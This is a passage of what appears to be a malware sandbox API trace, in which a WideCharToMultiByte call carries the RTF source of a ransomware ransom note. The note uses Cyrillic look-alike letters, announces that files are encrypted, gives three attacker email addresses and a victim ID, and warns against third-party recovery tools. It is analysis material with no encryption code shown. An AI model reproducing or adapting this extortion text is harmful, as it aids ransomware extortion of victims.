r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 